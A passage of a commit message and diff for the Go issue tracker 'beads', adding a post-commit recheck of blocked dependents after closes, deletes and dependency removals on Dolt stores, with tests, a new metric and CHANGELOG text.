recompute-blocked` already repair, i.e. the state every write had before the recheck existed. This also removes #6723 as a prerequisite for shipping. 2. The recheck runs on issueops.BlockedRecheckContext: detached from the caller's cancellation — the write it repairs has already committed, so a CLI deadline, a disconnected HTTP client or shutdown must not skip the repair and leave exactly the stale flag #6716 is about — with its own ceiling, and marked so a recheck cannot start another. Termination previously rested only on RecomputeIsBlockedInTxWithResult never recording, an invariant nothing enforced. 3. The coverage claim is scoped where it was false. Recording only becomes a recheck on a transaction one of the two store write runners scoped, and `bd batch` reaches neither: it dispatches close, `update status=closed` and `dep remove` onto storage.Transaction when local (cmd/bd/batch.go:177) and onto uow.RunTxResult when proxied (cmd/bd/batch_proxied_server.go:41). 5531d0592's message ("This covers every DoltStore write path … nothing on the CLI's close or update path reaches a close through it") and the PR description said otherwise. The CHANGELOG, blocked_recheck.go's doc comment and the PR description now scope the claim and name the uncovered routes: uow/domain-db, RunInTransaction (`bd batch`, `bd cook`, `bd mol squash`, `bd mol burn`), the legacy RemoveDependencyWithOptions (`bd duplicates --merge`), and the wisp writers. Also non-gating: the recheck's Dolt commit message is bounded (it names up to three writes and counts the rest), and a write that contributed no id is no longer named in it. New tests pin the recheck context, the bounded message, and the store seam the wrapper's unit test could not reach: a close whose recheck transaction fails still returns nil and stays durable, and the failure the withConn/commitConn path produces carries ErrBlockedRecheckFailed. Second review iteration: the scorecard required no changes, and all four findings were non-gating (one minor, three nits). Each indicted text this fixup itself introduced rather than the contributor's, so they are fixed here instead of deferred. 4. A dropped recheck is now counted, not only logged. Swallowing the failure in 1 made that log line the only signal a dependent is stale, while the convention it was modelled on — post_tx_commit_dropped, for the same "post-tx step failed, the write is durable" situation — is a counter *and* a line. bd.db.blocked_recheck_dropped is registered beside it and bumped on the Dolt side, and both stores' warnings now name the rows left unrechecked and point at `bd recompute-blocked`; an operator reading one line previously could not tell which issues needed it. The sentence is shared from issueops next to the sentinel, which also retires the near-duplicate doc comment the two stores carried. 5. The bounded commit message keeps the names it retained: past the limit it appends "and N more" instead of collapsing to a bare count, so the commit that is the only record of which write triggered a repair no longer discards the labels kept for exactly that purpose. N counts the unnamed writes, which also removes a skew — Sources deduplicates and SourceCount does not, so two equal-sized bulk deletes rendered one label and took the count-only form at two writes, not at "more than three" as documented. 6. The CHANGELOG's wisp clause now matches the doc comment and the PR description: closes, updates, deletes and demote-to-wisp. An update to an inactive status also takes a blocker away, and the narrower list under-counted the uncovered routes on the surface users actually read. 7. The Dolt tier's swallow is pinned. Every other test in close_recheck_blocked_test.go calls recheckBlockedAfterCommit directly, so nothing crossed either runner's tail on the tier #6716 was reported on — restoring `return s.recheckBlockedAfterCommit(...)` turned nothing red. TestCloseRecheckBlocked_FailureKeepsTheWrite runs a close through withRetryTx and through withWriteTx with the recheck forced to fail (marking the store closed inside fn, the analog of the embedded test's readOnly flip) and asserts nil plus durability. Gates, this iteration: gofmt clean; go build ./internal/storage/... and go vet on issueops, dolt and embeddeddolt clean; go test ./internal/storage/issueops/ ok; go test -tags gms_pure_go ./internal/storage/embeddeddolt/ -run BlockedRecheck ok (9s, real engine); go test ./internal/storage/dolt/ -run CloseRecheckBlocked ok (27s, dolt testcontainer). Iteration 1 additionally ran the full embedded package (98s) and the dolt subset 'RunInTransaction|BatchCloser|IsBlocked_|CloseRecheck|LifecycleCloseReopen' (156s). Every new assertion was proved non-vacuous by mutating the change it pins — reverting CommitMessage to the count-only form, counting all writes rather than the unnamed ones, dropping the ids and the repair pointer from the warning, unbounding that id list, and restoring the propagation on each runner tail — six mutations, each reddening only the assertions that defend it. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Julian Knutsen --- CHANGELOG.md | 14 + .../dolt/close_recheck_blocked_test.go | 278 ++++++++++++++++ internal/storage/dolt/store.go | 116 +++++-- .../blocked_recheck_internal_test.go | 164 ++++++++++ internal/storage/embeddeddolt/store.go | 67 +++- internal/storage/issueops/blocked_recheck.go | 302 ++++++++++++++++++ .../storage/issueops/blocked_recheck_test.go | 213 ++++++++++++ internal/storage/issueops/bulk_ops.go | 1 + internal/storage/issueops/close.go | 1 + internal/storage/issueops/delete.go | 2 + internal/storage/issueops/dependencies.go | 3 + internal/storage/issueops/update.go | 3 + 12 files changed, 1143 insertions(+), 21 deletions(-) create mode 100644 internal/storage/dolt/close_recheck_blocked_test.go create mode 100644 internal/storage/embeddeddolt/blocked_recheck_internal_test.go create mode 100644 internal/storage/issueops/blocked_recheck.go create mode 100644 internal/storage/issueops/blocked_recheck_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 26cdaada8..4aab92ced 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 transaction and a sibling's refusal does not roll it back — so the summary names the claimed id rather than leaving it silently assigned. +- Unblocking two blockers of one dependent at the same time — closing both, + or a close racing a `bd dep remove` or a delete of the other — no longer + leaves the dependent stuck as blocked and hidden from `bd ready` until + `bd recompute-blocked`: a write that takes a blocker away (a close, an + update to an inactive status, a dependency removal, a delete) and runs + through a Dolt store write transaction now rechecks the dependents it + recomputed once that transaction has committed + ([#6716](https://github.com/gastownhall/beads/issues/6716)). Writes that + reach the database another way still need the `bd doctor` / + `bd recompute-blocked` repair they needed before: `bd batch` (on both its + plain and its proxied transaction), `bd cook`, `bd mol squash`, + `bd mol burn`, `bd duplicates --merge`, and the wisp writes — closes, + updates, deletes and demote-to-wisp. + - **`bd list --watch --format` is refused instead of silently dropping the format** ([#6277](https://github.com/gastownhall/beads/issues/6277)). `--watch` always re-renders the pretty listing, so on the direct route a diff --git a/internal/storage/dolt/close_recheck_blocked_test.go b/internal/storage/dolt/close_recheck_blocked_test.go new file mode 100644 index 000000000..f7fcca35d --- /dev/null +++ b/internal/storage/dolt/close_recheck_blocked_test.go @@ -0,0 +1,278 @@ +package dolt + +import ( + "context" + "database/sql" + "errors" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// seedSiblingBlockers creates rb-a and rb-b, both blocking rb-c. +func seedSiblingBlockers(t *testing.T, ctx context.Context, store *DoltStore) { + t.Helper() + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + createPerm(t, ctx, store, id) + } + addDependency(t, ctx, store, "rb-c", "rb-a", types.DepBlocks) + addDependency(t, ctx, store, "rb-c", "rb-b", types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) +} + +// beginRacingWrite opens a transaction on its own pooled connection, pins its +// snapshot by reading both blockers, and runs one unblocking write inside it +// with the ordinary in-transaction recompute, exactly as the store's write +// paths do. It returns the dependents the write recorded for the post-commit +// recheck and a commit step that lands the write and frees the connection. +func beginRacingWrite(t *testing.T, ctx context.Context, store *DoltStore, name string, write func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, commit func()) { + t.Helper() + conn, err := store.db.Conn(ctx) + if err != nil { + t.Fatalf("acquire connection for %s: %v", name, err) + } + tx, err := conn.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin tx for %s: %v", name, err) + } + clearScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearScope() + var open int + if err := tx.QueryRowContext(ctx, + "SELECT COUNT(*) FROM issues WHERE id IN ('rb-a', 'rb-b') AND status <> 'closed'").Scan(&open); err != nil { + t.Fatalf("pin snapshot for %s: %v", name, err) + } + if open != 2 { + t.Fatalf("snapshot for %s sees %d open blockers, want 2", name, open) + } + if err := write(tx); err != nil { + t.Fatalf("%s in tx: %v", name, err) + } + return issueops.TakeBlockedRecheck(tx), func() { + if err := tx.Commit(); err != nil { + t.Fatalf("commit %s: %v", name, err) + } + _ = conn.Close() + } +} + +// beginRacingClose is beginRacingWrite for a close of id. +func beginRacingClose(t *testing.T, ctx context.Context, store *DoltStore, id string) (pending issueops.BlockedRecheck, commit func()) { + t.Helper() + return beginRacingWrite(t, ctx, store, "close of "+id, func(tx *sql.Tx) error { + _, err := issueops.CloseIssueInTx(ctx, tx, id, "done", "tester", "") + return err + }) +} + +// TestCloseRecheckBlocked_ConcurrentSiblingCloses is gastownhall/beads#6716: +// two closes of sibling blockers whose transactions both began before either +// committed each see the other blocker open, so neither writes the dependent's +// row and both commit without a conflicting cell. The in-transaction recompute +// cannot see the other close; the post-commit recheck over the same ids can. +func TestCloseRecheckBlocked_ConcurrentSiblingCloses(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + pendingA, commitA := beginRacingClose(t, ctx, store, "rb-a") + pendingB, commitB := beginRacingClose(t, ctx, store, "rb-b") + for _, pending := range []issueops.BlockedRecheck{pendingA, pendingB} { + if !slices.Contains(pending.IssueIDs, "rb-c") || slices.Contains(pending.IssueIDs, "rb-a") || slices.Contains(pending.IssueIDs, "rb-b") { + t.Fatalf("recorded recheck ids = %v, want the dependent rb-c and never the closed issue", pending.IssueIDs) + } + } + + commitA() + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.recheckBlockedAfterCommit(ctx, pendingA); err != nil { + t.Fatalf("recheck after closing rb-a: %v", err) + } + // rb-b is still open on every committed snapshot: rb-c stays blocked. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + + commitB() + // The stale state the in-transaction recompute leaves behind. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.recheckBlockedAfterCommit(ctx, pendingB); err != nil { + t.Fatalf("recheck after closing rb-b: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", false) + requireCleanTables(ctx, t, store, "issues") + if !doltHasCommitMessage(ctx, t, store, "bd: recheck blocked after close of rb-b") { + t.Fatal("the recheck corrected rb-c but minted no Dolt commit for it") + } +} + +// TestCloseRecheckBlocked_PublicClosePaths covers the store methods that own +// the recheck: a close with dependents leaves the dependent settled and the +// working set clean, and a close with no dependents records nothing to recheck. +func TestCloseRecheckBlocked_PublicClosePaths(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + createPerm(t, ctx, store, "rb-lone") + + if err := store.CloseIssue(ctx, "rb-a", "done", "tester", ""); err != nil { + t.Fatalf("close rb-a: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.UpdateIssue(ctx, "rb-b", map[string]interface{}{"status": types.StatusClosed}, "tester"); err != nil { + t.Fatalf("close rb-b through update: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", false) + requireCleanTables(ctx, t, store, "issues") + + var pending issueops.BlockedRecheck + if err := store.withWriteTx(ctx, func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-lone", "done", "tester", ""); err != nil { + return err + } + pending = issueops.TakeBlockedRecheck(tx) + return nil + }); err != nil { + t.Fatalf("close rb-lone: %v", err) + } + if !pending.Empty() { + t.Fatalf("close of an issue with no dependents recorded %+v to recheck, want nothing", pending) + } +} + +// TestCloseRecheckBlocked_ConcurrentCloseAndDependencyRemoval is #6716 with a +// dependency removal as the second writer: a close of rb-a racing a removal of +// the rb-c -> rb-b edge. Each transaction still sees the other blocker in +// place, neither writes rb-c, and the one that commits last leaves rb-c stale +// unless its own recorded recheck settles it. +func TestCloseRecheckBlocked_ConcurrentCloseAndDependencyRemoval(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + pendingClose, commitClose := beginRacingClose(t, ctx, store, "rb-a") + pendingRemove, commitRemove := beginRacingWrite(t, ctx, store, "dependency removal rb-c -> rb-b", func(tx *sql.Tx) error { + _, err := issueops.RemoveDependencyInTx(ctx, tx, "rb-c", "rb-b", "tester", true) + return err + }) + if !slices.Contains(pendingRemove.IssueIDs, "rb-c") { + t.Fatalf("dependency removal recorded %v, want the dependent rb-c", pendingRemove.IssueIDs) + } + if want := []string{"dependency removal rb-c -> rb-b"}; !slices.Equal(pendingRemove.Sources, want) { + t.Fatalf("dependency removal Sources = %v, want %v", pendingRemove.Sources, want) + } + + commitClose() + if err := store.recheckBlockedAfterCommit(ctx, pendingClose); err != nil { + t.Fatalf("recheck after closing rb-a: %v", err) + } + // The rb-c -> rb-b edge is still present on every committed snapshot. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + + commitRemove() + // The stale state the in-transaction recompute leaves behind. + assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + if err := store.recheckBlockedAfterCommit(ctx, pendingRemove); err != nil { + t.Fatalf("recheck after removing rb-c -> rb-b: %v", err) + } + assertIsBlocked(t, ctx, store, "issues", "rb-c", false) + requireCleanTables(ctx, t, store, "issues") + if !doltHasCommitMessage(ctx, t, store, "bd: recheck blocked after dependency removal rb-c -> rb-b") { + t.Fatal("the recheck corrected rb-c but minted no Dolt commit for it") + } +} + +// TestCloseRecheckBlocked_DeleteRecordsDependents: a delete of a blocker +// records its dependents for the recheck and never the deleted row itself. +func TestCloseRecheckBlocked_DeleteRecordsDependents(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + var pending issueops.BlockedRecheck + if err := store.withWriteTx(ctx, func(tx *sql.Tx) error { + if err := issueops.DeleteIssueInTx(ctx, tx, "rb-b", "tester"); err != nil { + return err + } + pending = issueops.TakeBlockedRecheck(tx) + return nil + }); err != nil { + t.Fatalf("delete rb-b: %v", err) + } + if !slices.Contains(pending.IssueIDs, "rb-c") || slices.Contains(pending.IssueIDs, "rb-b") { + t.Fatalf("delete recorded %v, want the dependent rb-c and never the deleted rb-b", pending.IssueIDs) + } + if want := []string{"delete of rb-b"}; !slices.Equal(pending.Sources, want) { + t.Fatalf("delete Sources = %v, want %v", pending.Sources, want) + } +} + +// TestCloseRecheckBlocked_FailureKeepsTheWrite pins the swallow on this tier — +// the one #6716 was reported on, and the one every other test here reaches by +// calling recheckBlockedAfterCommit directly, which crosses neither runner's +// tail. Both runners log a recheck failure and return nil, so a close whose +// recheck failed is durable and its caller is never told to retry a write that +// landed; restoring `return s.recheckBlockedAfterCommit(...)` on either would +// otherwise turn nothing red. It mirrors the embedded tier's +// TestEmbeddedBlockedRecheckFailureKeepsTheWrite. +func TestCloseRecheckBlocked_FailureKeepsTheWrite(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedSiblingBlockers(t, ctx, store) + + // Fail the recheck and nothing else, the way the embedded test flips + // readOnly: commitWriteTx has already passed its closed check by the time fn + // runs, so marking the store here leaves this close committed and refuses + // only the transaction the recheck opens next. ErrStoreClosed is not + // retryable, so that refusal is immediate and never reaches the breaker. + closeInTx := func(id string) func(tx *sql.Tx) error { + return func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, id, "done", "tester", ""); err != nil { + return err + } + store.closed.Store(true) + return nil + } + } + + if err := store.withRetryTx(ctx, closeInTx("rb-a")); err != nil { + store.closed.Store(false) + t.Fatalf("withRetryTx: a committed close whose recheck failed returned %v, want nil", err) + } + store.closed.Store(false) + + if err := store.withWriteTx(ctx, closeInTx("rb-b")); err != nil { + store.closed.Store(false) + t.Fatalf("withWriteTx: a committed close whose recheck failed returned %v, want nil", err) + } + store.closed.Store(false) + + for _, id := range []string{"rb-a", "rb-b"} { + got, err := store.GetIssue(ctx, id) + if err != nil { + t.Fatalf("get %s: %v", id, err) + } + if got.Status != types.StatusClosed { + t.Fatalf("%s is %s after a close whose recheck failed, want the write to be durable", id, got.Status) + } + } + + // The failure the runners swallow is the one that names itself, so the + // warning they log tells a stale dependent from a write that never landed. + store.closed.Store(true) + recheckErr := store.recheckBlockedAfterCommit(ctx, issueops.BlockedRecheck{IssueIDs: []string{"rb-c"}}) + store.closed.Store(false) + if !errors.Is(recheckErr, issueops.ErrBlockedRecheckFailed) { + t.Fatalf("a failed recheck returned %v, want it to carry ErrBlockedRecheckFailed", recheckErr) + } +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 601355e5b..0b7cd6620 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -895,19 +895,20 @@ var doltTracer = otel.Tracer("github.com/steveyegge/beads/storage/dolt") // Instruments are registered against the global delegating provider at init time, // so they automatically forward to the real provider once telemetry.Init() runs. var doltMetrics struct { - retryCount metric.Int64Counter - lockWaitMs metric.Float64Histogram - circuitTrips metric.Int64Counter - circuitRejected metric.Int64Counter - serializationErrors metric.Int64Counter - writeRetries metric.Int64Counter - postTxCommitDropped metric.Int64Counter - connAcquireMs metric.Float64Histogram - poolWaitCount metric.Int64Counter - poolWaitMs metric.Float64Histogram - claimVerifyLost metric.Int64Counter - claimVerifyRecovered metric.Int64Counter - ignoredTxFreshPool metric.Int64Counter + retryCount metric.Int64Counter + lockWaitMs metric.Float64Histogram + circuitTrips metric.Int64Counter + circuitRejected metric.Int64Counter + serializationErrors metric.Int64Counter + writeRetries metric.Int64Counter + postTxCommitDropped metric.Int64Counter + blockedRecheckDropped metric.Int64Counter + connAcquireMs metric.Float64Histogram + poolWaitCount metric.Int64Counter + poolWaitMs metric.Float64Histogram + claimVerifyLost metric.Int64Counter + claimVerifyRecovered metric.Int64Counter + ignoredTxFreshPool metric.Int64Counter } func init() { @@ -940,6 +941,10 @@ func init() { metric.WithDescription("Post-tx dolt commits abandoned after retries; the data landed but no dolt commit was minted (change rides the next commit on the branch)"), metric.WithUnit("{commit}"), ) + doltMetrics.blockedRecheckDropped, _ = m.Int64Counter("bd.db.blocked_recheck_dropped", + metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), + metric.WithUnit("{recheck}"), + ) doltMetrics.connAcquireMs, _ = m.Float64Histogram("bd.db.conn_acquire_ms", metric.WithDescription("Time to acquire a pooled connection for a Dolt transaction"), metric.WithUnit("ms"), @@ -1188,8 +1193,10 @@ func (s *DoltStore) withRetryTx(ctx context.Context, fn func(tx *sql.Tx) error) if s.serverMode { bo.MaxElapsedTime = 15 * time.Second } - return backoff.Retry(func() error { - err := s.withWriteTx(ctx, fn) + var pending issueops.BlockedRecheck + if err := backoff.Retry(func() error { + var err error + pending, err = s.commitWriteTx(ctx, fn) if err == nil { if !circuitWriteManaged(ctx) && s.breaker != nil { s.breaker.RecordSuccess() @@ -1232,30 +1239,99 @@ func (s *DoltStore) withRetryTx(ctx context.Context, fn func(tx *sql.Tx) error) return err // pre-commit transient: retryable } return backoff.Permanent(err) - }, backoff.WithContext(bo, ctx)) + }, backoff.WithContext(bo, ctx)); err != nil { + return err + } + logBlockedRecheckFailure(ctx, pending, s.recheckBlockedAfterCommit(ctx, pending)) + return nil } func (s *DoltStore) withWriteTx(ctx context.Context, fn func(tx *sql.Tx) error) error { + pending, err := s.commitWriteTx(ctx, fn) + if err != nil { + return err + } + logBlockedRecheckFailure(ctx, pending, s.recheckBlockedAfterCommit(ctx, pending)) + return nil +} + +// commitWriteTx runs fn in one write transaction and, once it has committed, +// hands back the dependents its unblocking writes recorded for a post-commit +// recheck. The caller runs that recheck outside any retry loop around fn: a +// recheck failure must never replay a write that has already landed. +func (s *DoltStore) commitWriteTx(ctx context.Context, fn func(tx *sql.Tx) error) (issueops.BlockedRecheck, error) { if s.closed.Load() { - return ErrStoreClosed + return issueops.BlockedRecheck{}, ErrStoreClosed } tx, err := s.db.BeginTx(ctx, nil) if err != nil { - return fmt.Errorf("begin write tx: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("begin write tx: %w", err) } clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() clearVersionScope := s.scopeVersionedHistoryTransaction(tx) defer clearVersionScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if err := fn(tx); err != nil { - return errors.Join(err, tx.Rollback()) + return issueops.BlockedRecheck{}, errors.Join(err, tx.Rollback()) } if err := tx.Commit(); err != nil { - return wrapSQLCommitError("commit write tx", err) + return issueops.BlockedRecheck{}, wrapSQLCommitError("commit write tx", err) + } + return issueops.TakeBlockedRecheck(tx), nil +} + +// recheckBlockedAfterCommit recomputes the blocked state of the dependents a +// committed unblocking write recorded, on a snapshot that includes every +// concurrent commit (gastownhall/beads#6716). It runs no SQL when nothing was +// recorded, and mints a Dolt commit only when it changed an issues row, so +// the corrected flag reaches history the way the close's own rows did rather +// than sitting dirty in the working set. +// +// It runs on issueops.BlockedRecheckContext: the write it follows is durable, +// so the repair must outlive that write's cancellation, and a recheck must +// never start another recheck. The returned failure is for the caller to log, +// never to return — see logBlockedRecheckFailure. +func (s *DoltStore) recheckBlockedAfterCommit(ctx context.Context, pending issueops.BlockedRecheck) error { + if pending.Empty() || issueops.InBlockedRecheck(ctx) { + return nil + } + ctx, cancel := issueops.BlockedRecheckContext(ctx) + defer cancel() + err := s.withRetryTx(ctx, func(tx *sql.Tx) error { + result, err := issueops.RecomputeIsBlockedInTxWithResult(ctx, tx, pending.IssueIDs, pending.WispIDs) + if err != nil || !result.IssueRowsChanged { + return err + } + return s.doltAddAndCommitInTx(ctx, tx, []string{"issues"}, pending.CommitMessage()) + }) + if err != nil { + return issueops.BlockedRecheckFailed(err) } return nil } +// logBlockedRecheckFailure reports a post-commit recheck failure instead of +// returning it. The write it followed is committed and durable, and every +// caller of a store write reads an error as "the mutation did not land": +// surfacing this one would make automated callers retry and double-apply, +// the inversion issue_operations_tx.go documents. What is left behind is the +// stale is_blocked flag `bd doctor` and `bd recompute-blocked` repair, which +// is the state every write had before the recheck existed. +// +// Because the failure stops here, this counter and line are its only trace — +// the same pair post_tx_commit_dropped uses for the same situation, a post-tx +// step that failed while its write stayed durable (issue_operations_tx.go). The +// counter is what a fleet alerts on; the line names the rows to repair. +func logBlockedRecheckFailure(ctx context.Context, pending issueops.BlockedRecheck, err error) { + if err == nil { + return + } + doltMetrics.blockedRecheckDropped.Add(ctx, 1) + log.Printf("warning: %s", issueops.BlockedRecheckFailureMessage(pending, err)) +} + // SetEventsJournalEnabled activates the journal for this store instance only. func (s *DoltStore) SetEventsJournalEnabled(enabled bool) { s.eventsJournalEnabled.Store(enabled) diff --git a/internal/storage/embeddeddolt/blocked_recheck_internal_test.go b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go new file mode 100644 index 000000000..d96b235d4 --- /dev/null +++ b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go @@ -0,0 +1,164 @@ +//go:build cgo + +package embeddeddolt + +import ( + "context" + "database/sql" + "errors" + "path/filepath" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedBlockedRecheckRecordsUnblockingWrites pins, on a real engine, +// that an unblocking write running on the embedded store's own scoped +// transaction records the dependents it recomputed for the post-commit +// recheck: a close, a dependency removal, a delete. The embedded store +// serializes its transactions so the skew of gastownhall/beads#6716 cannot +// occur here; the recording contract is what this tier can verify, and the +// server tier's close_recheck_blocked_test.go races it. +func TestEmbeddedBlockedRecheckRecordsUnblockingWrites(t *testing.T) { + ctx := context.Background() + store, err := Open(ctx, filepath.Join(t.TempDir(), ".beads"), "recheck", "main") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", "rb"); err != nil { + t.Fatal(err) + } + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + iss := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("create %s: %v", id, err) + } + } + for _, blocker := range []string{"rb-a", "rb-b"} { + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: blocker, Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("add dependency rb-c -> %s: %v", blocker, err) + } + } + + // record runs one unblocking write in a scoped transaction and returns what + // it recorded, taking it before the store's own post-commit recheck would. + record := func(name string, write func(tx *sql.Tx) error) issueops.BlockedRecheck { + t.Helper() + var pending issueops.BlockedRecheck + if err := store.withConn(ctx, true, func(tx *sql.Tx) error { + if err := write(tx); err != nil { + return err + } + pending = issueops.TakeBlockedRecheck(tx) + return nil + }); err != nil { + t.Fatalf("%s: %v", name, err) + } + return pending + } + expect := func(name string, pending issueops.BlockedRecheck, source string, excluded ...string) { + t.Helper() + if !slices.Contains(pending.IssueIDs, "rb-c") { + t.Fatalf("%s recorded %v, want the dependent rb-c", name, pending.IssueIDs) + } + for _, id := range excluded { + if slices.Contains(pending.IssueIDs, id) { + t.Fatalf("%s recorded %v, must never recheck %s", name, pending.IssueIDs, id) + } + } + if want := []string{source}; !slices.Equal(pending.Sources, want) { + t.Fatalf("%s Sources = %v, want %v", name, pending.Sources, want) + } + } + + expect("close", record("close rb-a", func(tx *sql.Tx) error { + _, err := issueops.CloseIssueInTx(ctx, tx, "rb-a", "done", "tester", "") + return err + }), "close of rb-a", "rb-a") + + expect("dependency removal", record("remove rb-c -> rb-b", func(tx *sql.Tx) error { + _, err := issueops.RemoveDependencyInTx(ctx, tx, "rb-c", "rb-b", "tester", true) + return err + }), "dependency removal rb-c -> rb-b") + + // Re-add the edge so the delete has a dependent to record. + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: "rb-b", Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("re-add dependency: %v", err) + } + expect("delete", record("delete rb-b", func(tx *sql.Tx) error { + return issueops.DeleteIssueInTx(ctx, tx, "rb-b", "") + }), "delete of rb-b", "rb-b") + + // Through the public surface the recheck runs after commit and the graph + // ends settled: both blockers gone, rb-c unblocked. + got, err := store.GetIssue(ctx, "rb-c") + if err != nil { + t.Fatalf("get rb-c: %v", err) + } + if got.IsBlocked { + t.Fatal("rb-c is still blocked after its last blocker was deleted") + } +} + +// TestEmbeddedBlockedRecheckFailureKeepsTheWrite pins what a *failing* recheck +// does at the store seam, which is the half of the contract the wrapper's unit +// test cannot reach: the write it follows has already committed, so the store +// call still succeeds and the row is durable, and the failure the store's own +// withConn/commitConn path produces carries issueops.ErrBlockedRecheckFailed +// for the warning that reports it. +func TestEmbeddedBlockedRecheckFailureKeepsTheWrite(t *testing.T) { + ctx := context.Background() + store, err := Open(ctx, filepath.Join(t.TempDir(), ".beads"), "recheckfail", "main") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", "rb"); err != nil { + t.Fatal(err) + } + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + iss := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("create %s: %v", id, err) + } + } + for _, blocker := range []string{"rb-a", "rb-b"} { + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: blocker, Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("add dependency rb-c -> %s: %v", blocker, err) + } + } + + // Fail the recheck and nothing else: the write's own commitConn has + // already passed the read-only check when fn runs, so flipping the flag + // here leaves the close committed and refuses only the transaction the + // recheck opens afterwards. + if err := store.withConn(ctx, true, func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-a", "done", "tester", ""); err != nil { + return err + } + store.readOnly = true + return nil + }); err != nil { + t.Fatalf("a committed write whose recheck failed returned %v, want nil", err) + } + store.readOnly = false + + closed, err := store.GetIssue(ctx, "rb-a") + if err != nil { + t.Fatalf("get rb-a: %v", err) + } + if closed.Status != types.StatusClosed { + t.Fatalf("rb-a is %s after a close whose recheck failed, want the write to be durable", closed.Status) + } + + // The failure itself, on the path that produces it. + store.readOnly = true + recheckErr := store.recheckBlockedAfterCommit(ctx, issueops.BlockedRecheck{IssueIDs: []string{"rb-c"}}) + store.readOnly = false + if !errors.Is(recheckErr, issueops.ErrBlockedRecheckFailed) { + t.Fatalf("a failed recheck returned %v, want it to carry ErrBlockedRecheckFailed", recheckErr) + } +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 609308ad1..4e8a121a9 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -367,7 +367,69 @@ func openReadOnly(ctx context.Context, beadsDir, database, branch string, checkB // returns regardless of outcome. // // The database must already exist (created during initSchema). -func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(tx *sql.Tx) error) (err error) { +func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(tx *sql.Tx) error) error { + pending, err := s.commitConn(ctx, commit, fn) + if err != nil { + return err + } + logBlockedRecheckFailure(pending, s.recheckBlockedAfterCommit(ctx, pending)) + return nil +} + +// logBlockedRecheckFailure reports a post-commit recheck failure instead of +// returning it. The write it followed is committed and durable, and every +// caller of a store write reads an error as "the mutation did not land": +// surfacing this one would make automated callers retry and double-apply. +// What is left behind is the stale is_blocked flag `bd doctor` and +// `bd recompute-blocked` repair, which is the state every write had before +// the recheck existed. +// +// The sentence is issueops.BlockedRecheckFailureMessage, shared with the Dolt +// store; only the sink differs. This store has no metrics registry, so unlike +// the Dolt store's counter this line is the whole signal. +func logBlockedRecheckFailure(pending issueops.BlockedRecheck, err error) { + if err == nil { + return + } + fmt.Fprintf(os.Stderr, "warning: %s\n", issueops.BlockedRecheckFailureMessage(pending, err)) +} + +// 